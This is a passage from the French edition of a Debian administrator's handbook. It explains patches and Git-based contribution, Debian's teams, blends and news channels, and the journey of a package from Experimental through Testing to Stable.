Les utilisateurs plus chevronnés peuvent être capables de fournir un correctif à un programme en envoyant un patch.

Un patch est un fichier décrivant des changements à apporter à un ou plusieurs fichiers de référence. Concrètement, on y trouve une liste de lignes à supprimer ou à insérer, ainsi (parfois) que des lignes reprises du texte de référence et replaçant les modifications dans leur contexte (elles permettront d'en identifier l'emplacement si les numéros de lignes ont changé).

On utilise indifféremment les termes « correctif » et « patch » car la plupart des corrections de bogues sont envoyées sous forme de patch. L'utilitaire appliquant les modifications données par un tel fichier s'appelle simplement patch. L'outil qui le crée s'appelle diff (autre synonyme de « correctif ») et s'utilise comme suit :

$ diff -u file.old file.new >file.patch

Le fichier file.patch contient les instructions permettant de transformer le contenu de file.old en celui de file.new. On pourra le transmettre à un correspondant pour qu'il recrée file.new à partir des deux autres comme ci-dessous :

$ patch -p0 file.old <file.patch

Le fichier file.old est maintenant identique à file.new.

En pratique, la plupart des logiciels sont actuellement maintenus dans des dépôts Git et les contributeurs sont donc plus susceptibles d'utiliser git pour récupérer le code source et proposer des modifications. git diff va générer un fichier au même format que ce que ferait diff -u et git apply peut faire la même chose que patch.

CULTURE Git

Git est un outil pour travailler simultanément à plusieurs sur des fichiers en conservant un historique des modifications. Il s'agit en général de fichiers texte, comme le code source d'un logiciel. Si plusieurs personnes travaillent de concert sur le même fichier, git ne pourra fusionner les modifications effectuées que si elles ont porté sur des portions distinctes du texte. Dans le cas contraire, il faudra résoudre ces « conflits » à la main.

Git est un système distribué, où chaque utilisateur a un dépôt contenant l'historique complet des changements. Les dépôts centraux sont utilisés pour télécharger le projet (git clone) et pour partager le travail effectué avec les autres utilisateurs (git push). Le dépôt peut contenir plusieurs versions des fichiers, mais on ne peut travailler que sur une version à la fois ; il s'agit de la « copie de travail » (qui peut être modifiée pour utiliser une autre version des fichiers (git checkout). Git peut retrouver et afficher les modifications effectuées dans la copie de travail (git diff), peut acter l'inclusion de changements (git add) et peut les enregistrer dans le dépôt en créant une nouvelle entrée dans l'historique des versions (git commit). Il peut aussi mettre à jour la copie de travail pour inclure les modifications apportées en parallèle par d'autres utilisateurs (git pull), et enregistrer une configuration particulière dans l'historique de manière à pouvoir la retrouver facilement plus tard (git tag).

Git permet de facilement mener de front plusieurs versions d'un projet en développement sans qu'elles n'interfèrent. Le terme consacré est branches. Cette métaphore de l'arbre est assez juste, car il s'agit d'abord de développer un programme sur un tronc commun. Parvenu à une étape importante (comme la version 1.0), le développement continue sur deux branches : la branche de développement prépare la version majeure suivante et la branche de maintenance gère les mises à jour corrigeant la version 1.0.

Git est actuellement l'outil de suivi de versions le plus couramment utilisé, mais ce n'est pas le seul. Historiquement, CVS (Concurrent Versions System) a été le premier outil largement utilisé, mais ses nombreuses limitations ont contribué à l'apparition de concurrents libres et plus modernes. Citons notamment Subversion (svn), Git, Bazaar (bzr), Fossil (bzrfossil) et Mercurial (hg).

→ https://www.nongnu.org/cvs/

→ https://subversion.apache.org/

→ https://git-scm.com/

→ https://bazaar.canonical.com/

→ http://mercurial.selenic.com/

Une explication détaillé de Git ne rentre pas dans le cadre de ce livre. Pour cela vous pouvez vous référer au livre Pro Git.

→ https://git-scm.com/book/fr/v2

Bien que la sortie de git diff soit un fichier qui peut être partagé avec d'autres développeurs, il existe généralement de meilleures façons de soumettre des modifications. Si les développeurs préfèrent recevoir les correctifs par courrier électronique, ils veulent généralement que les correctifs soient générés avec git format-patch afin qu'ils puissent être directement intégrés dans le dépôt avec git am. Cela préserve les méta-informations des commits et permet de partager plusieurs commits à la fois.

Ce flux de travail basé sur le courrier électronique est toujours populaire mais il tend à être remplacé par l'utilisation de merge requests (ou pull requests) chaque fois que le logiciel est hébergé sur une plateforme comme GitHub ou GitLab — et Debian utilise GitLab sur son serveur salsa.debian.org. Sur ces systèmes, une fois que vous avez créé un compte, vous pouvez fourcher le dépôt, créant une copie du dépôt dans votre propre compte, et vous pouvez alors cloner ce dépôt et y apporter vos propres modifications. À partir de là, l'interface web vous suggèrera de proposera une demande de fusion, en informant les développeurs de vos modifications, ce qui leur permettra de les examiner et de les accepter en un seul clic.

1.3.2.4. Les autres façons de contribuer

Tous ces mécanismes de contribution sont efficaces grâce au comportement des utilisateurs. Loin d'être isolés, ils forment une vraie communauté, au sein de laquelle de nombreux échanges ont lieu. Citons notamment l'activité impressionnante de la liste de discussion des utilisateurs francophones <debian-user-french@lists.debian.org> (le Chapitre 7, Résolution de problèmes et sources d'informations vous apportera plus d'informations sur cette liste).

→ https://lists.debian.org/users.html

Non contents de s'entraider sur des problèmes techniques qui les concernent directement, ceux-ci traitent aussi de la meilleure manière d'aider Debian et de faire progresser le projet — discussions provoquant souvent des suggestions d'amélioration.

OUTIL how-can-i-help

Le programme how-can-i-help liste toutes les possibilités de contribuer aux paquets Debian qui sont installés localement. Après chaque appel à APT (voir Chapitre 6, Maintenance et mise à jour : les outils APT), il montre les moyens d'aider, en mettant en avant les bogues étiquetés « débutants » (qui sont des points d'entrée simples pour les nouveaux contributeurs) ou les paquets sans mainteneur qui ont besoin d'en trouver un nouveau. Le programme peut aussi être exécuté directement.

Debian ne finançant aucune campagne publicitaire d'autopromotion, ses utilisateurs jouent un rôle essentiel dans sa diffusion et en assurent la réputation par le bouche-à-oreille.

Cette méthode fonctionne plutôt bien puisqu'on retrouve des inconditionnels de Debian à tous les niveaux de la communauté du logiciel libre : dans les install parties (ateliers d'installation, encadrés par des habitués, pour les nouveaux venus à Linux) organisées par les groupes locaux d'utilisateurs de Linux GULL, sur les stands associatifs des grands salons d'informatique traitant de Linux, etc.

Signalons que des volontaires réalisent affiches, tracts, autocollants et autres supports utiles pour la promotion du projet, qu'ils mettent à disposition de tous et que Debian fournit librement sur son site web et sur son wiki :

→ https://www.debian.org/events/material.fr.html

1.3.3. Équipes, "Blends" et sous-projets

Debian a d'emblée été organisé autour du concept de paquet source, chacun disposant de son mainteneur voire de son groupe de mainteneurs. De nombreuses équipes de travail sont peu à peu apparues, assurant l'administration de l'infrastructure, la gestion des tâches transversales à tous les paquets (assurance qualité, charte Debian, programme d'installation, etc.), les dernières équipes s'articulant autour de sous-projets et de "Blends".

1.3.3.1. Sous-projets Debian existants et "Blends"

À chaque public sa distribution Debian ! Un sous-projet est un regroupement de volontaires intéressés par l'adaptation de Debian à des besoins spécifiques. Au-delà de la sélection d'un sous-ensemble de logiciels dédiés à un usage particulier (éducation, médecine, création multimédia...), les sous-projets essaient souvent d'améliorer les paquets existants, de mettre en paquet les logiciels manquants, d'adapter l'installateur, de créer une documentation spécifique, etc. Bien que un "blend" pourrait ne pas être exactement pareil, ils fonctionne presque de la même manière et essaient également de fournir une solution pour les groupes de personnes ayant l'intention d'utiliser Debian pour un domaine particulier. On pourrait dire que les "Debian Pure Blends" sont les successeurs des sous-projets.

→ https://www.debian.org/blends/

VOCABULAIRE Sous-projet, "blends" et distribution dérivée

Le processus de développement d'une distribution dérivée consiste à partir d'une version donnée de Debian et à y apporter un ensemble de modifications. L'infrastructure employée pour ce travail est totalement externe au projet Debian et il n'y a pas nécessairement de politique de contribution des améliorations apportées. Cette différence explique qu'une distribution dérivée puisse « diverger » de ses origines et qu'il lui faille régulièrement se resynchroniser pour profiter des améliorations apportées en amont.

À l'opposé, un sous-projet ou un "blend" ne peut pas diverger puisque tout son travail consiste à directement améliorer Debian pour le rendre plus adapté à son but.

La plus célèbre des distributions dérivées de Debian est sans conteste Ubuntu, mais il y en a un grand nombre ; consultez l'Annexe A, Distributions dérivées pour découvrir leurs particularités et leur positionnement vis-à-vis de Debian.

Voici une petite sélection des "Blends" actuellement publiés :

- Debian Junior, de Ben Armstrong, vise à proposer aux enfants un système Debian facile et attrayant ;

- Debian Edu, de Petter Reinholdtsen, se focalise sur la création d'une distribution spécialisée pour le monde universitaire et éducatif ;

- Debian Med, d'Andreas Tille, se consacre au milieu médical ;

- Debian Multimedia, qui s'occupe des créations audios et multimédias ;

- Debian GIS, qui s'occupe des applications SIG (systèmes d'information géographiques) et de leurs utilisateurs ;

- Debian Astro, aussi bien pour les astronomes professionnels que pour les amateurs ;

- Debian Science, permet de fournir aux chercheurs et aux scientifiques une meilleure expérience en utilisant Debian ;

- Freedombox, fait pour développer, concevoir et promouvoir les serveurs personnels utilisant des logiciels libres pour les communications privées et personnelles ;

- Debian Games, fournissant des jeux dans Debian de l'arcade et l'aventure à la simulation et la stratégie ;

- DebiChem, destinée à la Chimie, fournit des suites et des programmes de chimie.

Gageons que le nombre des projets va continuer à croître avec le temps et une meilleure perception des avantages des "Debian Pure Blends". En s'appuyant pleinement sur l'infrastructure existante de Debian, ils peuvent en effet se concentrer sur un travail à réelle valeur ajoutée et n'ont pas besoin de se soucier de « resynchroniser » avec Debian puisqu'ils évoluent dès le début au sein du projet.

1.3.3.2. Équipes administratives

La plupart des équipes administratives sont relativement fermées et ne recrutent que par cooptation. Le meilleur moyen d'y entrer est alors d'en aider intelligemment les membres actuels en montrant que l'on a compris leurs objectifs et leur mode de fonctionnement.

Les ftpmasters sont les responsables de l'archive de paquets Debian. Ils maintiennent le programme qui reçoit les paquets envoyés par les développeurs et les installe automatiquement, après quelques vérifications, sur le serveur de référence (ftp-master.debian.org).

Ils doivent aussi vérifier la licence des nouveaux paquets, pour savoir si Debian peut les distribuer, avant de les intégrer au corpus de paquets existants. Lorsqu'un développeur souhaite supprimer un paquet, c'est à eux qu'il s'adresse via le système de suivi de bogues et le « pseudo-paquet » ftp.debian.org.

VOCABULAIRE Le pseudo-paquet, un outil de suivi

Le système de suivi de bogues, initialement conçu pour associer des rapports de bogue à un paquet Debian, s'avère très pratique pour gérer d'autres cas de figure : liste de problèmes à résoudre ou de tâches à mener indépendamment de tout lien à un paquet Debian. Les « pseudo-paquets » permettent ainsi à certaines équipes d'utiliser le système de suivi de bogues sans y associer de paquet réel. Tout le monde peut ainsi leur signaler des éléments à traiter. Le BTS dispose ainsi d'une entrée ftp.debian.org pour signaler les problèmes de l'archive de paquets ou simplement y demander la suppression d'un paquet. De même, le pseudo-paquet www.debian.org correspond aux erreurs sur le site web de Debian et lists.debian.org rassemble les soucis liés aux listes de diffusion.

OUTIL GitLab, hébergement de dépôt Git et bien plus

Une instance GitLab, connue sous le nom de salsa.debian.org, est utilisée par Debian pour héberger les dépôts d'empaquetage avec Git ; mais ce logiciel fournit bien plus qu'un simple hébergement et les contributeurs de Debian ont rapidement tiré parti des fonctionnalités d'intégration continue (exécution de tests, ou même construction de paquets à chaque push). Les contributeurs de Debian bénéficient également d'une manière de contribuer plus simple grâce au processus de merge request (similaire aux pull requests de GitHub).

GitLab a remplacé FusionForge (qui fonctionnait sur un service connu sous le nom de alioth.debian.org) pour la maintenance collaborative des paquets. Ce service est administré par Alexander Wirt, Bastian Blank et Jörg Jaspert.

→ https://salsa.debian.org/

→ https://wiki.debian.org/Salsa/Doc

L'équipe Debian System Administrators (DSA, <debian-admin@lists.debian.org>), comme on peut s'y attendre, est responsable de l'administration système des nombreux serveurs exploités par le projet. Elle veille au fonctionnement optimal de l'ensemble des services de base (DNS, Web, courrier électronique, shell, etc.), installe les logiciels demandés par les développeurs Debian et prend toutes les précautions en matière de sécurité.

→ https://dsa.debian.org

OUTIL Système de suivi de paquets

C'est l'une des réalisations de Raphaël. L'idée de base est de rassembler sur une seule page le maximum d'informations relatives à chaque paquet source. On peut ainsi visualiser rapidement l'état du logiciel, identifier les tâches à réaliser et proposer son aide. C'est pourquoi cette page réunit les statistiques des bogues, les versions disponibles dans chaque distribution, la progression du paquet dans la distribution Testing, l'état des traductions des descriptions et des templates debconf, l'éventuelle disponibilité d'une nouvelle version amont, des avertissements en cas de non conformité à la dernière version de la charte Debian, des renseignements sur le mainteneur et toute autre information que celui-ci aura souhaité y intégrer.

→ https://tracker.debian.org/

Un système d'abonnement par courrier électronique complète cette interface web. Il envoie automatiquement une sélection d'informations choisies dans la liste suivante : bogues et discussions associées, notices de disponibilité d'une nouvelle version sur les serveurs Debian, nouvelles traductions à relire, etc.

Les utilisateurs avancés peuvent donc suivre tout cela de près, voire contribuer au projet après avoir bien compris son fonctionnement.

Une autre interface web, le Debian Developer's Packages Overview (ou DDPO), fournit à chaque développeur un résumé de l'état de tous les paquets Debian placés sous sa responsabilité.

→ https://qa.debian.org/developer.php

Ces deux sites web sont des outils développés et gérés par Debian QA (Quality Assurance), le groupe en charge de l'assurance qualité au sein de Debian.

Les listmasters administrent le serveur de courrier électronique gérant les listes de diffusion. Ils créent les nouvelles listes, gèrent les bounces (notices de non livraison) et maintiennent des filtres contre le spam (pourriel, ou publicités non sollicitées).

CULTURE Le trafic sur les listes de diffusion : quelques chiffres

Les listes de diffusion sont sans doute le meilleur témoin de l'activité d'un projet, car elles gardent la trace de tout ce qui s'y passe. Les nombres (datant de avril 2021) concernant nos listes de diffusion parleront d'elles-mêmes : Debian héberge plus de 325 listes totalisant 295 000 abonnements individuels. 396 000 courriers électroniques sont distribués chaque jour.

Chaque service spécifique dispose de sa propre équipe d'administration, constituée généralement par les volontaires qui l'ont mise en place (et, souvent, programmé eux-mêmes les outils correspondants). C'est le cas du système de suivi de bogues (BTS), du système de suivi de paquets (Package Tracking System — PTS), d'salsa.debian.org (serveur GitLab, voir encadré OUTIL GitLab, hébergement de dépôt Git et bien plus), des services disponibles sur qa.debian.org, lintian.debian.org, buildd.debian.org, cdimage.debian.org, etc.

1.3.3.3. Équipes de développement, équipes transversales

Contrairement aux équipes administratives, les équipes de développement sont très largement ouvertes, même aux contributeurs extérieurs. Même si Debian n'a pas vocation à créer des logiciels, le projet a besoin de quelques programmes spécifiques pour atteindre ses objectifs. Évidemment développés sous une licence libre, ces outils font appel aux méthodes éprouvées par ailleurs dans le monde du logiciel libre.

Debian a développé peu de logiciels en propre, mais certains ont acquis un rôle capital et leur notoriété dépasse désormais le cadre du projet. Citons notamment dpkg, programme de manipulation des paquets Debian (c'est d'ailleurs une abréviation de Debian PacKaGe), et apt, outil d'installation automatique de tout paquet Debian et de ses dépendances, garantissant la cohérence du système après la mise à jour (c'est l'acronyme d'Advanced Package Tool). Leurs équipes sont pourtant très réduites, car un très bon niveau en programmation est nécessaire à la compréhension globale du fonctionnement de ce type de programme.

L'équipe la plus importante est probablement celle du programme d'installation de Debian, debian-installer, qui a accompli un travail titanesque depuis sa conception en 2001. Il lui a fallu recourir à de nombreux contributeurs car il est difficile d'écrire un seul logiciel capable d'installer Debian sur une douzaine d'architectures différentes. Chacune a son propre mécanisme de démarrage et son propre chargeur d'amorçage (bootloader). Tout ce travail est coordonné sur la liste de diffusion <debian-boot@lists.debian.org>, sous la houlette de Cyril Brulebois.

→ https://www.debian.org/devel/debian-installer/

→ https://joeyh.name/blog/entry/d-i_retrospective/

L'équipe du programme debian-cd, plus réduite, a un objet bien plus modeste. Signalons que de nombreux « petits » contributeurs se chargent de leur architecture, le développeur principal ne pouvant pas en connaître toutes les subtilités, ni la manière exacte de faire démarrer l'installateur depuis le CD-Rom.

De nombreuses équipes ont des tâches transversales à l'activité de mise en paquet : <debian-qa@lists.debian.org> essaie par exemple d'assurer la qualité à tous les niveaux de Debian. Quant à <debian-policy@lists.debian.org>, elle fait évoluer la charte Debian en fonction des propositions des uns et des autres. Les équipes responsables de chaque architecture (<debian-architecture@lists.debian.org>) y compilent tous les paquets, qu'elles adaptent à leur architecture le cas échéant.

D'autres équipes encadrent les paquets les plus importants pour en assurer la maintenance sans faire peser une trop lourde responsabilité sur une seule paire d'épaules ; c'est le cas de la bibliothèque C avec <debian-glibc@lists.debian.org>, du compilateur C avec <debian-gcc@lists.debian.org> ou encore de X.org avec <debian-x@lists.debian.org> (groupe également connu sous le nom de X Strike Force).

1.4. Suivre les actualités Debian

Comme déjà mentionné, le projet Debian évolue de manière très distribuée. C'est pourquoi il n'est pas aisé de suivre ce qui se passe sans être submergé par un flux ininterrompu de notifications.

Pour n'avoir que les nouvelles les plus importantes, il convient de s'abonner à la liste <debian-announce@lists.debian.org>. Les quelques messages annuels ne contiennent que les annonces les plus importantes, comme la disponibilité d'une nouvelle version stable, l'élection d'un nouveau leader ou la conférence Debian annuelle.

→ https://lists.debian.org/debian-announce/

Des nouvelles plus régulières et plus variées sont envoyées sur la liste <debian-news@lists.debian.org>. Le volume de messages est également très raisonnable, quelques messages par mois. On y trouve notamment Debian Project News, une compilation d'actualités sur ce qui se passe au sein du projet.

→ https://lists.debian.org/debian-news/

COMMUNAUTÉ L'équipe « publicité »

Les canaux de communication officiels de Debian sont gérés par les volontaires de l'équipe « publicité » . Ils sont des délégués du Debian Project Leader et modèrent les nouvelles et annonces postées sur ces canaux. Beaucoup d'autres volontaires contribuent à l'équipe, par exemple en rédigeant des contenus pour Debian Project News, le blog officiel de Debian (bits.debian.org), ou pour le service de microblogging (micronews.debian.org), qui alimente les différents réseaux sociaux.

→ https://wiki.debian.org/Teams/Publicity

Pour encore plus d'informations sur l'évolution de Debian et sur ce qui se passe dans les différentes équipes, il y a également la liste <debian-devel-announce@lists.debian.org>. Comme son nom l'indique, les annonces qui y sont relayées seront généralement plus intéressantes pour les contributeurs. Toutefois, pour ceux que cela intéresse, s'y abonner permettra d'avoir une idée plus concrète de ce qui se passe entre deux publications de la version stable. Là où <debian-announce@lists.debian.org> annonce le résultat final qui intéresse les utilisateurs, <debian-devel-announce@lists.debian.org> donne une idée de la manière dont on est parvenu à ce résultat. Au passage, notons que « d-d-a » (c'est ainsi que les habitués se réfèrent à cette liste) est la seule liste à laquelle chaque contributeur doit être abonné.

→ https://lists.debian.org/debian-devel-announce/

Le blog officiel de Debian (bits.debian.org) est également une bonne source d'information. Il transmet la plupart des nouvelles intéressantes qui sont publiées sur les différentes listes de diffusion que nous avons déjà couvertes et d'autres nouvelles importantes apportées par les membres de la communauté. Comme tous les développeurs Debian peuvent contribuer à ces nouvelles lorsqu'ils pensent avoir quelque chose de remarquable à rendre public, le blog de Debian donne un aperçu précieux tout en restant plutôt concentré sur le projet dans son ensemble.

Planet Debian constitue une autre source d'informations, plus informelle, puisque ce site agrège les articles publiés par les contributeurs Debian sur leurs blogs respectifs. Même si certains des articles agrégés sont sans rapport avec Debian, cela permet tout de même de constater ce qui se passe dans la communauté et ce à quoi ses membres sont occupés.

→ https://planet.debian.org/

Le projet est également bien représenté sur les réseaux sociaux. Debian n'a de présence officielle que sur Identi.ca (la plate-forme de microblogging animée par pump.io), mais il y a des comptes qui relayent le flux RSS de micronews.debian.org et de nombreux contributeurs Debian qui animent des comptes non officiels.

→ https://identi.ca/debian

→ https://twitter.com/debian

→ https://www.facebook.com/debian

→ https://www.flickr.com/groups/debian

→ https://www.linkedin.com/company/debian

1.5. Rôle d'une distribution

Une distribution GNU/Linux a deux objectifs principaux : installer un système libre sur un ordinateur (vierge ou disposant déjà d'autres systèmes) et fournir une palette de logiciels couvrant tous les besoins de l'utilisateur.

1.5.1. L'installateur : debian-installer

debian-installer, conçu de manière très modulaire pour être le plus générique possible, répond au premier. Il couvre un grand nombre de scénarios d'installations et surtout facilite grandement la création d'un installateur dérivé correspondant à un cas particulier.

Cette modularité, qui le rend aussi plus complexe, pourra perturber les développeurs découvrant cet outil. Fonctionnant en mode graphique comme en mode texte, le parcours de l'utilisateur reste toutefois similaire. De gros efforts ont été consentis pour réduire le nombre de champs à renseigner — notamment grâce à l'usage d'un logiciel de détection automatique du matériel.

Il est intéressant de remarquer que les distributions dérivées de Debian se différencient beaucoup sur cet aspect et fournissent un installateur plus limité (souvent confiné aux architectures i386 ou amd64) mais bien plus convivial aux yeux des utilisateurs néophytes. En revanche, elles se gardent généralement de trop diverger sur les contenus des paquets pour profiter au maximum de la grande famille de logiciels proposés sans souffrir de problèmes de compatibilité.

1.5.2. La bibliothèque de logiciels

Quantitativement, Debian est indiscutablement en tête avec plus de 31 000 paquets sources. Qualitativement, sa charte et la longue période de tests préalable à toute version stable justifient sa réputation de cohérence et de stabilité. Sur le plan de la disponibilité, on trouve tout en ligne sur de nombreux miroirs mis à jour toutes les 6 heures.

La plupart des nouveaux logiciels libres sont rapidement pris en charge dans la version de développement, qui permet de les installer. Si cela implique trop de mises à jour par le jeu des dépendances, on peut aussi recompiler le programme pour la version stable de Debian (voir le Chapitre 15, Conception d'un paquet Debian pour plus de détails sur le sujet).

1.6. Cycle de vie d'une release

Le projet dispose à tout instant de trois à six versions différentes de chaque logiciel, nommées Experimental, Unstable, Testing, Stable, Oldstable, et même Oldoldstable. Chacune correspond à un stade différent du développement. Pour bien les comprendre, suivons le parcours d'un programme, de sa première mise en paquet à son intégration dans une version stable de Debian.

VOCABULAIRE Release

Le terme « release » désigne chez Debian une version particulière d'une distribution (ex : « the unstable release » signifie « la version instable »). Il désigne aussi l'annonce publique de toute nouvelle version (stable).

1.6.1. Le statut Experimental

Traitons d'abord le cas particulier de la distribution Experimental : c'est un ensemble de paquets Debian correspondant à des logiciels en cours de développement et pas forcément finalisés — d'où son nom. Tout ne transite pas par cette étape ; certains développeurs y créent des paquets pour obtenir un premier retour des utilisateurs les plus expérimentés (ou les plus courageux).

Par ailleurs, cette distribution abrite fréquemment des modifications importantes portant sur des paquets de base et dont l'intégration dans Unstable avec des bogues gênants aurait des répercussions trop importantes et bloquantes. C'est donc une distribution totalement isolée, dont les paquets ne migrent jamais vers une autre (sauf intervention expresse du mainteneur ou des ftpmasters). Elle n'est également pas utilisable de manière indépendante : seul un sous-ensemble des paquets existants est présent dans Experimental et elle ne contient généralement pas le système de base. Cette distribution est donc exploitable seulement en combinaison avec une autre distribution indépendante, comme Unstable.

1.6.2. Le statut Unstable

Revenons au cas d'un paquet type. Le mainteneur crée un premier paquet, qu'il compile pour Unstable et place sur le serveur ftp-master.debian.org. Cette première manifestation implique inspection et validation par les ftpmasters. Le logiciel est alors disponible dans Unstable, la distribution la plus à jour choisie par des utilisateurs préférant le dernier cri à l'assurance de l'absence de bogues graves. Ceux-ci découvrent alors le programme et le testent.

S'ils y découvrent des bogues, ils les décrivent à son mainteneur. Ce dernier prépare alors régulièrement des versions corrigées, qu'il place sur le serveur.

Toute nouvelle mise en ligne est répercutée sur tous les miroirs Debian du monde dans les 6 heures. Les utilisateurs valident alors la correction et cherchent d'autres problèmes, consécutifs aux modifications. Plusieurs mises à jour peuvent ainsi s'enchaîner rapidement. Pendant ce temps, les robots autobuilders sont entrés en action. Le mainteneur téléverse les sources du paquet (sans aucun paquet pré-compilé). Les autobuilders ont donc pris le relais et compilé automatiquement des versions pour toutes les architectures supportées. Certaines compilations pourront échouer ; le mainteneur recevra alors un rapport de bogue signalant le problème, à corriger dans les prochaines versions. Lorsque le bogue est découvert par un spécialiste de l'architecture concernée, il arrive que ce rapport soit accompagné d'un correctif prêt à l'emploi.

Figure 1.2. Compilation d'un paquet par les autobuilders

DÉCOUVERTE buildd, le recompilateur de paquet Debian

buildd est l'abréviation de build daemon. Ce logiciel recompile automatiquement les nouvelles versions des paquets Debian sur l'architecture qui l'accueille (la compilation croisée — crosscompiling — est évitée dans la mesure du possible).

Ainsi, pour produire des binaires destinés à l'architecture arm64, le projet dispose de machines arm64. Le programme buildd y fonctionne en permanence afin de créer des paquets binaires pour arm64 à partir des paquets sources expédiés par les développeurs Debian.

Ce logiciel est employé sur tous les ordinateurs servant d'autobuilders à Debian. Par extension, le terme buildd désigne souvent ces machines, en général réservées à cet usage.

1.6.3. La migration vers Testing

Un peu plus tard, le paquet aura mûri ; compilé sur toutes les architectures, il n'aura pas connu de modifications récentes. C'est alors un candidat pour l'intégration dans la distribution Testing — ensemble de paquets Unstable sélectionnés sur quelques critères quantifiables. Chaque jour, un programme choisit automatiquement les paquets à intégrer à Testing, selon des éléments garantissant une certaine qualité :

1. compilation réussie sur toutes les architectures officiellement prises en charge ;

2. absence de bogues critiques, ou tout du moins nombre inférieur à celui de la version actuellement intégrée dans Testing ;

3. villégiature minimale de 5 jours dans Unstable, ce qui laisse normalement assez de temps pour trouver et signaler les problèmes graves (passer avec succès la suite du test du paquet, s'il en a une, réduit ce délai) ;

4. dépendances pouvant toutes être satisfaites dans Testing, ou qui peuvent du moins y progresser de concert avec le paquet ;

5. les tests de qualité automatiques du paquet (autopkgtest) - s'ils sont définis - ne montrent aucune régression.

Ce système n'est évidemment pas infaillible ; on trouve régulièrement des bogues critiques dans un paquet intégré à Testing. Il est pourtant globalement efficace et Testing pose beaucoup moins de problèmes qu'Unstable, représentant pour beaucoup un bon compromis entre la stabilité et la soif de nouveauté.

NOTE Limitations de Testing

Bien que très intéressante dans son principe, Testing rencontre quelques problèmes pratiques : l'enchevêtrement des dépendances croisées entre paquets est tel qu'un paquet ne peut que rarement y progresser tout seul. Les paquets dépendant tous les uns des autres, il est parfois nécessaire d'y faire progresser simultanément un grand nombre d'entre eux, ce qui est impossible tant que certains subissent des mises à jour régulières. Par ailleurs, le script identifiant les familles de paquets ainsi solidarisés peine beaucoup à les constituer (il s'agirait d'un problème NP-complet, pour lequel nous connaissons heureusement quelques bonnes heuristiques). C'est pourquoi on peut intervenir manuellement et conseiller ce script en lui suggérant des ensembles de paquets ou en imposant l'inclusion de certains d'entre eux — quitte à casser temporairement quelques dépendances. Cette fonctionnalité est accessible aux Release Managers et à leurs assistants.

Rappelons qu'un problème NP-complet est de complexité algorithmique exponentielle en fonction de la taille des données, c'est-à-dire la longueur du codage (le nombre de chiffres) des éléments concernés. La seule manière de le résoudre est souvent d'examiner toutes les configurations possibles, ce qui requiert parfois d'énormes moyens. Une heuristique en est une solution approchée et satisfaisante.

COMMUNAUTÉ Le Release Manager

Release Manager (gestionnaire de versions) est un titre important, associé à de lourdes responsabilités. Son porteur doit en effet gérer la sortie de la nouvelle version stable de Debian et définir le processus d'évolution de Testing tant qu'elle ne répond pas aux critères de qualité de Stable. Il définit également un calendrier prévisionnel (pas toujours respecté).

On trouve aussi des Stable Release Managers (gestionnaires de la version stable), souvent abrégé SRM, qui gèrent et sélectionnent les mises à jour de la version stable de Debian. Ils y incluent systématiquement les correctifs de sécurité et examinent au cas par cas toutes les autres propositions d'inclusion émises par des développeurs Debian soucieux de mettre à jour un de leurs paquets dans la version stable.

1.6.4. La promotion de Testing en Stable

Supposons notre paquet désormais intégré à Testing. Tant qu'il est perfectible, son responsable doit persister à l'améliorer et recommencer le processus depuis Unstable (mais ces inclusions ultérieures dans Testing sont en général plus rapides : à moins d'avoir changé de manière significative, toutes les dépendances sont déjà présentes). Quand il atteint la perfection, son mainteneur a fini son travail et la prochaine étape est l'inclusion dans la distribution Stable, en réalité une simple copie de Testing à un moment choisi par le Release Manager. L'idéal est de prendre cette décision quand l'installateur est prêt et quand plus aucun programme de Testing n'a de bogue critique répertorié.

Étant donné que ce moment ne survient jamais dans la pratique, Debian doit faire des compromis : supprimer des paquets dont le mainteneur n'a pas réussi à corriger les bogues à temps ou accepter de livrer une distribution comptant quelques bogues pour des milliers de logiciels. Le Release Manager aura préalablement prononcé une période de freeze (gel), où il devra approuver chaque mise à jour de Testing. Le but est d'empêcher toute nouvelle version (et ses nouveaux bogues) et de n'approuver que des mises à jours correctives.

Figure 1.3. Parcours d'un paquet au sein des différentes versions de Debian

VOCABULAIRE Freeze : la dernière ligne droite

Pendant la période de freeze, l'évolution du contenu de la distribution Testing est bloquée : plus aucune mise à jour automatique n'a lieu. Seuls les Release Managers sont alors habilités à y changer des paquets, selon leurs propres critères. L'objectif est d'éviter l'apparition de nouveaux bogues par l'introduction de nouvelles versions ; seules les mises à jour bien examinées sont acceptées lorsqu'elles corrigent des bogues importants.

Après la sortie de la nouvelle version stable, le Stable Release Manager en gère les évolutions ultérieures (appelées « révisions », par ex. : 10.1, 10.2, 10.3 pour la version 10). Ces mises à jour intègrent systématiquement tous les correctifs de sécurité. On y trouve également les corrections les plus importantes (le mainteneur du paquet doit prouver la gravité du problème qu'il souhaite corriger pour faire intégrer sa mise à jour).

À la fin du voyage, notre hypothétique paquet est désormais intégré à la distribution stable. Ce trajet, non dépourvu de difficultés, explique les délais importants séparant les versions stables de Debian. Il contribue surtout à sa réputation de qualité. De plus, la majorité des utilisateurs est satisfaite par l'emploi de l'une des trois distributions disponibles en parallèle. Les administrateurs systèmes, soucieux avant tout de la stabilité de leurs serveurs, se moquent de la dernière version de GNOME ; ils opteront pour Debian Stable et en seront satisfaits. Les utilisateurs finaux, plus intéressés par la dernière version de GNOME ou de KDE Plasma que par une stabilité irréprochable, trouveront en Debian Testing un bon compromis entre absence de problèmes graves et logiciels relativement à jour. Enfin, les développeurs et utilisateurs les plus expérimentés pourront ouvrir la voie en testant toutes les nouveautés de Debian Unstable dès leur sortie, au risque de subir les affres et bogues inhérents à toute nouvelle version de logiciel. À chaque public sa Debian !

CULTURE GNOME et KDE Plasma, les bureaux graphiques

GNOME (à l'origine, un acronyme pour GNU Network Object Model Environment) et Plasma de KDE (anciennement connu sous le nom de K Desktop Environment) sont les deux environnements de bureau graphique les plus populaires et établis dans le monde du logiciel libre, et seront présentés plus en détail dans Section 13.3, « Bureaux graphiques ».

Un environnement de bureau est un ensemble de logiciels permettant d'effectuer aisément les opérations les plus courantes au travers d'une interface graphique. Ils comportent notamment un gestionnaire de fichiers, une suite bureautique, un navigateur web, un logiciel de courrier électronique, des outils multimédias, etc. Leur différence la plus visible réside dans le choix de la bibliothèque graphique employée : GNOME a choisi GTK+ (logiciel libre sous licence LGPL) et la communauté KDE a opté pour Qt (un logiciel libre appartenant à une entreprise, disponible sous licence GPL et sous licence commerciale).

→ https://www.gnome.org/

→ https://kde.org/

Figure 1.4. Parcours chronologique d'un paquet logiciel empaqueté par Debian

1.6.5. Le statut de Oldstable et Oldoldstable

